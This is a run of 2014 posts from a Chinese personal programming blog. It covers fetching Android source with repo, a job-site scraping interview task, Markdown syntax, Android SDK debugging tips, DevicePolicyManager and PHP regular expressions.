&lt;p&gt;这是最新repo 1.21&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ curl https://storage.googleapis.com/git-repo-downloads/repo &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt; ~/bin/repo
$ chmod a+x ~/bin/repo
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;创建一个放代码的文件夹&lt;/h2&gt;
&lt;p&gt;创建一个保存android源码的目录，修改为最大权限，并进入该目录&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$  mkdir android4.4
$  sudo chmod –R &lt;span class="m"&gt;777&lt;/span&gt; android4.4
$  &lt;span class="nb"&gt;cd&lt;/span&gt;  android4.4
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;初始化repo&lt;/h2&gt;
&lt;p&gt;初始化repo，并选择要下载的分支&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;下载所有代码使用这个
    $  repo init -u https://android.googlesource.com/platform/manifest&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这时需要输入你的姓名和邮箱。
申请到&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When prompted, configure Repo with your real name and email address. To use the Gerrit code-review tool, you will need an email address that is connected with a &lt;a href="https://www.google.com/accounts"&gt;registered Google account&lt;/a&gt;. Make sure this is a live address at which you can receive messages. The name that you provide here will show up in attributions for your code submissions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;开通下载权限&lt;/p&gt;
&lt;p&gt;使用&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git config --global user.email your-email
git config --global user.name the-name-you-fetch
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;如果选择下载的最新分支或者某个分支可以这么使用，最新的分支可以在这里看&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://android.googlesource.com/platform/manifest/+refs"&gt;https://android.googlesource.com/platform/manifest/+refs&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;输入&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ repo init -u https://android.googlesource.com/platform/manifest -b android-4.4.4_r2.0.1
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;最后一步，同步内容&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;repo sync
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;支持断点续传的同步下载&lt;/p&gt;
&lt;h1&gt;断网自动恢复的脚本&lt;/h1&gt;
&lt;p&gt;在目录下新建一个sh的shell脚本
    repo sync
    while [ $? -ne 0 ] 
    do 
    repo sync
    done&lt;/p&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;官方文档：&lt;a href="http://source.android.com/source/downloading.html#installing-repo"&gt;http://source.android.com/source/downloading.html#installing-repo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考Blog：&lt;a href="http://blog.csdn.net/legendof1991/article/details/17005849"&gt;http://blog.csdn.net/legendof1991/article/details/17005849&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blog.csdn.net/wh_19910525/article/details/8164107"&gt;http://blog.csdn.net/wh_19910525/article/details/8164107&lt;/a&gt;&lt;/p&gt;</content><category term="October"></category><category term="Repo"></category><category term="Android"></category></entry><entry><title>ING STUDIO 二轮面试题目</title><link href="https://blog.chenjia.me/articles/140926-130700.html" rel="alternate"></link><published>2014-09-26T13:07:00+08:00</published><updated>2014-09-26T13:07:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-09-26:/articles/140926-130700.html</id><summary type="html">&lt;p&gt;ING STUDIO 二轮面试题目 Android 组-爬虫&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Welcome&lt;/h1&gt;
&lt;p&gt;首先恭喜大家通过了ING工作室的面试！（此处应该有掌声）、&lt;/p&gt;
&lt;p&gt;不过想要真正成为ING工作室的一员~还需要通过下面的小测试哦~&lt;/p&gt;
&lt;h1&gt;写在前面&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;该测试是木有标准答案的~&lt;/li&gt;
&lt;li&gt;该测试的结果的好坏只会对最后评价起到一个促进作用&lt;/li&gt;
&lt;li&gt;请尽可能的展示自己的能力（各种的~）&lt;/li&gt;
&lt;li&gt;请善用Google和百度搜索相关知识，但请勿复制抄写代码。&lt;strong&gt;重在理解！&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;如果遇到题目无法理解的问题请邮件到&lt;a href="mailto://src348934952@foxmail.com"&gt;陈夏雨姐姐的邮箱&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;时间&lt;/h2&gt;
&lt;p&gt;这个测试将会给大家3天时间&lt;strong&gt;（2014-09-26 18:00 -2014-09-29 18:00）&lt;/strong&gt;来完成&lt;/p&gt;
&lt;h2&gt;题目要求&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;使用Java或你熟悉的一种语言进行编写&lt;/li&gt;
&lt;li&gt;请理解你写代码的含义，最后提交的时候我们会询问细节&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;这里是题目&lt;/h2&gt;
&lt;p&gt;最近大四学长学姐们都忙于找工作或者保研或者考研，找工作的学长学姐们每天都要看好几个网站来获取公司的招聘信息。这样对于我们计算机软件的同学是不可以忍受的。&lt;/p&gt;
&lt;p&gt;所以我们打算将信息做一个信息聚合，来减轻学长学姐的每天查阅信息所花费的时间。让学长学姐们将精力投入到找工作的准备中去。（听起来就很伟大是不是！！！）&lt;/p&gt;
&lt;p&gt;具体内容：请访问山东大学就业指导中心网站：&lt;a href="http://job.sdu.edu.cn"&gt;http://job.sdu.edu.cn&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;将其中的通知公告模块，校内招聘模块，在线招聘模块，实习招聘模块的通知的标题，时间，新闻的网址获取出来，保存到本地查看。&lt;/p&gt;
&lt;p&gt;附加题：获取&lt;a href="http://job.sdu.edu.cn/html/recruit/recruit-1.html"&gt;http://job.sdu.edu.cn/html/recruit/recruit-1.html&lt;/a&gt;网页信息，将新闻标题，超链接，招聘地点时间等信息保存本地，方便查看&lt;/p&gt;
&lt;h2&gt;题目提示和代码提交&lt;/h2&gt;
&lt;p&gt;以Java语言为例：&lt;/p&gt;
&lt;p&gt;项目名称：Android+拼音简写（AndroidCj）&lt;/p&gt;
&lt;p&gt;包名：ing.android.xxx（ing.android.cj）&lt;/p&gt;
&lt;p&gt;代码打包提交压缩格式：zip&lt;/p&gt;
&lt;p&gt;代码打包时应该加上第三方jar包（如果有的话），请在同学电脑中测试可以执行后正确再提交&lt;/p&gt;
&lt;p&gt;代码打包命名格式：Android-xxX.zip（Android-陈夏雨.zip）&lt;/p&gt;
&lt;h2&gt;Tips和进阶加分项&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;保存的数据或者控制台输出的数据要美观直接&lt;/li&gt;
&lt;li&gt;最好可以保存成HTML格式方便查阅&lt;/li&gt;
&lt;li&gt;可以导出成为jar或者exe程序直接运行&lt;/li&gt;
&lt;li&gt;代码编写规范，可读性强&lt;/li&gt;
&lt;li&gt;大三同学最好使用数据库进行保存&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;相关工具&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Google无法访问请自学如何使用&lt;/p&gt;
&lt;p&gt;或者使用&lt;a href="http://g.openibm.com/"&gt;http://g.openibm.com/&lt;/a&gt;访问&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;写在最后&lt;/h2&gt;
&lt;p&gt;希望大家都展示出自己的能力和水平~我们希望看到的，是你的进步和努力，而不是你之前拥有过的成就！&lt;/p&gt;
&lt;p&gt;By：陈佳
2014-09-26 15:17  &lt;/p&gt;</content><category term="September"></category></entry><entry><title>QQ空间手机端特殊json</title><link href="https://blog.chenjia.me/articles/140925-165900.html" rel="alternate"></link><published>2014-09-25T16:59:00+08:00</published><updated>2014-09-25T16:59:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-09-25:/articles/140925-165900.html</id><summary type="html">&lt;p&gt;Template&lt;/p&gt;</summary><content type="html">&lt;p&gt;qq空间客户端json&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;{uin:qq号,nick:昵称,who:1}
&lt;/pre&gt;&lt;/div&gt;</content><category term="September"></category></entry><entry><title>【2014年9月4日】Markdown基本语法</title><link href="https://blog.chenjia.me/articles/140904-150400.html" rel="alternate"></link><published>2014-09-04T15:04:00+08:00</published><updated>2014-09-04T15:04:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-09-04:/articles/140904-150400.html</id><summary type="html">&lt;p&gt;Markdown基本语法说明~看一下就知道怎么写文章啦~&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Markdown语法&lt;/h1&gt;
&lt;p&gt;markdown是一个最近比较热门的一个文本标记语言，他的用处就是把某种规则的文字按照一定规则装换为HTML语言，显示的更为合理。
而且他支持直接在文字中直接添加html语言。&lt;/p&gt;
&lt;h1&gt;基本语法&lt;/h1&gt;
&lt;h2&gt;标题部分&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;#title 一级标题
##title 二级标题
###title 三级标题
######title 六级标题
&lt;/pre&gt;&lt;/div&gt;


&lt;h1&gt;title 一级标题&lt;/h1&gt;
&lt;h2&gt;title 二级标题&lt;/h2&gt;
&lt;h3&gt;title 三级标题&lt;/h3&gt;
&lt;h6&gt;title 六级标题&lt;/h6&gt;
&lt;h2&gt;文本中字体变化&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;**粗体**  
*斜体*
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;粗体&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;斜体&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;引用&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&amp;amp;gt; import

&amp;amp;gt;&amp;amp;gt;import

&amp;amp;gt;&amp;amp;gt;&amp;amp;gt;import
&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;import&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;import&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;import&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;代码显示，强调&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;this is a `code` in passage //文本中用``包括（Esc下面那个键）
code block//缩进4个空格或者一个Tab
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;this is a &lt;code&gt;code&lt;/code&gt; in passage&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;code block
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;p.s.有的解释器支持语法高亮，比如pelican里面可以用&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;:::java&lt;/p&gt;
&lt;p&gt;public void main(){&lt;/p&gt;
&lt;p&gt;int a=1;&lt;/p&gt;
&lt;p&gt;int b=1;&lt;/p&gt;
&lt;p&gt;system.out.println(a+b);&lt;/p&gt;
&lt;p&gt;}
来高亮java语言&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(){&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;无序列表&lt;/h2&gt;
&lt;p&gt;使用+，-，* 然后空格 然后内容构成&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;+ 1
+ 2
+ 3
----------
- 1
- 2
- 3
----------
* 1
* 2
* 3
&lt;/pre&gt;&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;1&lt;/li&gt;
&lt;li&gt;2&lt;/li&gt;
&lt;li&gt;3&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;1&lt;/li&gt;
&lt;li&gt;2&lt;/li&gt;
&lt;li&gt;3&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;1&lt;/li&gt;
&lt;li&gt;2&lt;/li&gt;
&lt;li&gt;3&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;有序列表&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;数字加句点加空格加内容&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;1. 1
2. 2
3. 3
4. 4
&lt;/pre&gt;&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;1&lt;/li&gt;
&lt;li&gt;2&lt;/li&gt;
&lt;li&gt;3&lt;/li&gt;
&lt;li&gt;4&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;超链接&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;网址：[文本显示](网址 "alt文字")&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[http://www.baidu.com](http://www.baidu.com &amp;quot;baidu&amp;quot;)
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;a href="http://www.baidu.com" title="baidu"&gt;http://www.baidu.com&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;图片:![无图片显示的alt文字](地址)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;![logo](http://www.baidu.com/img/baidu_jgylogo3.gif)
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;img alt="logo" src="http://www.baidu.com/img/baidu_jgylogo3.gif"&gt;&lt;/p&gt;
&lt;h2&gt;转义符&lt;/h2&gt;
&lt;p&gt;所有的特殊符号加上&lt;code&gt;\&lt;/code&gt;都不会被解释&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;\   反斜线
`   反引号
*   星号
_   底线
{}  花括号
[]  方括号
()  括弧
#   井字号
+   加号
-   减号
.   英文句点
!   惊叹号
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;分割线/水平标尺&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;----------
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;效果：就是下面这条线，就是&lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt;&lt;/h2&gt;
&lt;h2&gt;所有的HTML语言都可以，只要浏览器支持就可以显示&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="nt"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://www.fashion4cj.com&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;fashion4cj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;a href="http://www.fashion4cj.com"&gt;fashion4cj.com&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;角标，内跳转,替换&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;[home]&lt;/span&gt;

&lt;span class="na"&gt;//这里写很多没用的东西&lt;/span&gt;

&lt;span class="k"&gt;[home]&lt;/span&gt;

&lt;span class="na"&gt;//最后写上定义&lt;/span&gt;

&lt;span class="na"&gt;[home]:index.html&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;a href="index.html"&gt;home&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;//这里写很多没用的东西&lt;/p&gt;
&lt;p&gt;&lt;a href="index.html"&gt;home&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;//最后写上定义&lt;/p&gt;
&lt;h1&gt;结束&lt;/h1&gt;
&lt;p&gt;好久没写文章了，最近要补好多东西，比如华为题目解答以及其他的一些测评&lt;/p&gt;</content><category term="September"></category><category term="Markdown"></category></entry><entry><title>【2014年8月18日】Android第三方SDK使用的一些提示</title><link href="https://blog.chenjia.me/articles/140819-003000.html" rel="alternate"></link><published>2014-08-19T00:30:00+08:00</published><updated>2014-08-19T00:30:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-08-19:/articles/140819-003000.html</id><summary type="html">&lt;p&gt;提示一些在使用不是很完整的SDK的时候应该注意到的事情&lt;/p&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;今天有个学弟问了我一个问题，关于蛐蛐儿的SDK为什么DEMO可以运行但是他一使用就直接报错。&lt;/p&gt;
&lt;p&gt;我第一个想法是lib配置不对，提示应该加入lib order中。&lt;/p&gt;
&lt;p&gt;这是新版本ADT中导入第三方类库经常出现CLASS NOT FOUND的原因、&lt;/p&gt;
&lt;p&gt;学弟说他被这个问题困扰了很久了。一直导致无法继续敲代码。&lt;/p&gt;
&lt;p&gt;然后我就试了一下~&lt;/p&gt;
&lt;h1&gt;任务开始&lt;/h1&gt;
&lt;h2&gt;下载demo包&lt;/h2&gt;
&lt;p&gt;无论使用哪个网站的SDK，基本都会有DEMO包。&lt;/p&gt;
&lt;p&gt;不过有的网站demo包是最新的，有的是sdk中的是最新的~这就要靠你来分辨了~&lt;/p&gt;
&lt;p&gt;无论如何，我们都要下载他的demo包运行~&lt;/p&gt;
&lt;p&gt;毕竟这是人家写好的代码，运行一是可以看效果，而是可以学习他们API调用的过程。&lt;/p&gt;
&lt;p&gt;e.g 我下载了蛐蛐儿的DEMO包（他们只提供的demo包），然后把工程导入到ADT中编译运行~然后看到效果~&lt;/p&gt;
&lt;h2&gt;创建一个新项目&lt;/h2&gt;
&lt;p&gt;如果网站的API写的详细的话就可以直接按照说明加入到我们自己的工程去了~这点百度地图的SDK以及友盟的SDK都做的很好~点赞~&lt;/p&gt;
&lt;p&gt;如果像蛐蛐儿这样的~以防万一我们先建立新的工程~出错了大不了可以删嘛~&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;新建一个新的Android工程&lt;/li&gt;
&lt;li&gt;将lib文件复制到新的工程下的lib文件中&lt;/li&gt;
&lt;li&gt;将res文件中的资源复制到新的工程中&lt;/li&gt;
&lt;li&gt;将src中的源代码复制到新的工程中&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修改AndroidManifest.xml文件&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;修正错误&lt;/li&gt;
&lt;li&gt;run it&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;出现的问题&lt;/h2&gt;
&lt;p&gt;很遗憾，我们的程序并没有像DEMO中一样正确运行，那么我们就要看LOGCAT（这点很重要，不会看logcat的人想必百度都不知道怎么百度）&lt;/p&gt;
&lt;p&gt;首先是出现了这样的问题：
&lt;img alt="pic1" src="https://i.imgur.com/41UELH0.png"&gt;&lt;/p&gt;
&lt;p&gt;重点是在&lt;code&gt;NO JNI_ONLOAD FOUND IN XXXXX&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第一反应是lib配置错了~重新配置了lib~问题依旧。&lt;/p&gt;
&lt;p&gt;然后怀疑版本问题，因为DEMO是2.3.3而我的编译是4.4.2 然后调低了API，发现问题依旧&lt;/p&gt;
&lt;p&gt;会不会是复制没完整，仔细对比了一下文件，发现是&lt;code&gt;AndroidManifest.xml&lt;/code&gt;文件中缺少了权限&lt;/p&gt;
&lt;p&gt;然后我就奇怪了~缺少权限为什么LOGCAT不是直接在error中打出来提示。&lt;/p&gt;
&lt;p&gt;后来发现是该SDK在JNI的时候就调用了权限，并不在虚拟机中。&lt;/p&gt;
&lt;p&gt;所以以后发现.so报错的时候可以看看这里。&lt;/p&gt;
&lt;p&gt;修改后就可以运行了，可是学弟提醒说修改hello world就直接程序崩溃，我仔细看了一下logcat&lt;/p&gt;
&lt;p&gt;&lt;img alt="pic2" src="https://i.imgur.com/OYzvCWJ.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;NETWORKONMAINTHREADEXCEPTION
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;很常见的异常，在很老的SDK或者源代码中经常出现的异常，报错原因是因为在ANDROID3.0以后网络线程，数据库线程等比较耗时的线程都不可以直接在主线程上直接使用，换换句话说就是一定要用多线程。&lt;/p&gt;
&lt;p&gt;估计这个人写DEMO的时候还是在2.3.3的时候，好几年没更新了！！！&lt;/p&gt;
&lt;p&gt;然后最后推荐网络线程还是要用handler来实现多线程，方便而且可以直接在内部直接操作界面元素~&lt;/p&gt;
&lt;p&gt;END&lt;/p&gt;</content><category term="August"></category><category term="Android"></category></entry><entry><title>【2014年8月17日】Android的设备管理器（一）</title><link href="https://blog.chenjia.me/articles/140818-010300.html" rel="alternate"></link><published>2014-08-18T01:03:00+08:00</published><updated>2014-08-18T01:03:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-08-18:/articles/140818-010300.html</id><summary type="html">&lt;p&gt;Android设备管理器的使用&lt;/p&gt;</summary><content type="html">&lt;h1&gt;日记&lt;/h1&gt;
&lt;p&gt;最近有一个叫做“ignore no more”的APP出现在各大新闻头条，说是一个美国的妈妈为了让她儿子每天都给他打电话写的，不打电话就locked his phone.然后好奇了一下~麻麻写的软件一定不完善呀~我就可以写了~然后fq一下去了google play上搜索了一下，结果发现这个软件是要1.99刀...而且是一个公司开发的，已经很不错了。。。&lt;/p&gt;
&lt;p&gt;媒体我恨你、&lt;/p&gt;
&lt;h1&gt;Android设备管理器&lt;/h1&gt;
&lt;p&gt;虽然不用我自己写了，可是人家要1.99美元呢~可惜android市场的收费呵呵呵。&lt;/p&gt;
&lt;p&gt;然后看了一下软件的截图，发现他在软件选择孩子的时候会安装一个软件，仔细看了一下发现这个 软件需要请求系统管理员权限。&lt;/p&gt;
&lt;p&gt;好神奇是不是，我也很好奇，就百度了一下~&lt;/p&gt;
&lt;p&gt;然后发现了这个。&lt;/p&gt;
&lt;h2&gt;DevicePolicyManager&lt;/h2&gt;
&lt;p&gt;这是Android API 8后出的一个API接口，可以提供锁屏，恢复出厂设置，还有设置密码、强制清除密码，修改密码、设置屏幕灯光渐暗时间间隔等操作。&lt;/p&gt;
&lt;p&gt;那他具体怎么用呢0.0 &lt;/p&gt;
&lt;p&gt;明天再说。&lt;/p&gt;</content><category term="August"></category><category term="Android"></category></entry><entry><title>【2014年8月14日】关于正则表达式的一些事情</title><link href="https://blog.chenjia.me/articles/140815-015000.html" rel="alternate"></link><published>2014-08-15T01:50:00+08:00</published><updated>2014-08-15T01:50:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2014-08-15:/articles/140815-015000.html</id><summary type="html">&lt;p&gt;PHP中正则表达式的用法&lt;/p&gt;</summary><content type="html">&lt;h1&gt;日记部分&lt;/h1&gt;
&lt;p&gt;虽然已经从学线退休了，下午接到许老师的电话，还是很快的又进入工作模式了。成为习惯或者是一种心态么。&lt;/p&gt;
&lt;h1&gt;PHP中的正则表达式的使用&lt;/h1&gt;
&lt;h2&gt;爬虫&lt;/h2&gt;
&lt;p&gt;说起爬虫，很多人都不陌生。爬虫的核心就是在于自动化的数据检索和获取。从一种规范的网页中获取一定的内容。比如我们可以通过抓取&lt;code&gt;&amp;lt;title&amp;gt;.*&amp;lt;/title&amp;gt;&lt;/code&gt;来获得目标网页的标题。&lt;/p&gt;
&lt;p&gt;PHP的好处就是可以放在服务器上，通过配置pron等任务计划，可以定时的帮我们做一些事情，例如抓取网页最新的新闻标题到我们的数据库中这样的任务。&lt;/p&gt;
&lt;p&gt;当然jsp，asp，python等都可以~&lt;/p&gt;
&lt;h2&gt;正则表达式的使用&lt;/h2&gt;
&lt;p&gt;当我们通过PHP获取目标网址的网页文本的时候，我们就要开始尝试的去寻找规律。&lt;/p&gt;
&lt;p&gt;对于新手，建议将网页源代码复制到notepad++或者sublime等支持正则表达式的文本编辑器，或者RegEx Tester这样的正则表达式测试工具来学习。&lt;/p&gt;
&lt;p&gt;将文本复制到这里面去，然后打开查找，输入正则表达式进行匹配，点击查找来看看有没有写对。&lt;/p&gt;
&lt;p&gt;正则表达式的语法：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://msdn.microsoft.com/zh-cn/library/ae5bf541(VS.80).aspx" title="微软"&gt;http://msdn.microsoft.com/zh-cn/library/ae5bf541(VS.80).aspx&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://baike.baidu.com/view/94238.htm?fr=aladdin" title="百度百科"&gt;http://baike.baidu.com/view/94238.htm?fr=aladdin&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这两个足够了，基本用法只要知道他是怎么用的就好，关键是你要有想法如何去提取目标素材。&lt;/p&gt;
&lt;h2&gt;PHP中的使用&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;定界符&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Perl 兼容模式的正则表达式函数，其正则表达式需要写在定界符中。任何不是字母、数字或反斜线（）的字符都可以作为定界符，通常我们使用 / 作为定界符。具体使用见下面的例子。&lt;/p&gt;
&lt;p&gt;这个是细节，在写网页中的正则表达式会出现这样的错误&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Unknown modifier &amp;#39;[&amp;#39;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;这个就是定界符冲突，因为默认PHP使用的是&lt;code&gt;/&lt;/code&gt;，例如&lt;code&gt;&amp;lt;/span&amp;gt;&lt;/code&gt;这样的标签的&lt;code&gt;/s&lt;/code&gt;就会被当做的分界出现错误 &lt;code&gt;Unknown modifier 's'&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;所以我的习惯是这样的&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;preg_match_all(&amp;quot;|正则表达式|U&amp;quot;,$this-&amp;amp;gt;webPageString,$tmpResult);
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;用|来分离&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法&lt;/strong&gt;
第一种是获取第一个，也就是一次。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;preg_match()&lt;/p&gt;
&lt;p&gt;preg_match() 函数用于进行正则表达式匹配，成功返回 1 ，否则返回 0 。&lt;/p&gt;
&lt;p&gt;语法：
int preg_match( string pattern, string subject [, array matches ] )&lt;/p&gt;
&lt;p&gt;参数说明： &lt;/p&gt;
&lt;p&gt;参数    说明&lt;/p&gt;
&lt;p&gt;pattern   正则表达式&lt;/p&gt;
&lt;p&gt;subject   需要匹配检索的对象&lt;/p&gt;
&lt;p&gt;matches   可选，存储匹配结果的数组， $matches[0] 将包含与整个模式匹配的文本，$matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本，以此类推&lt;/p&gt;
&lt;/blockquote&gt;
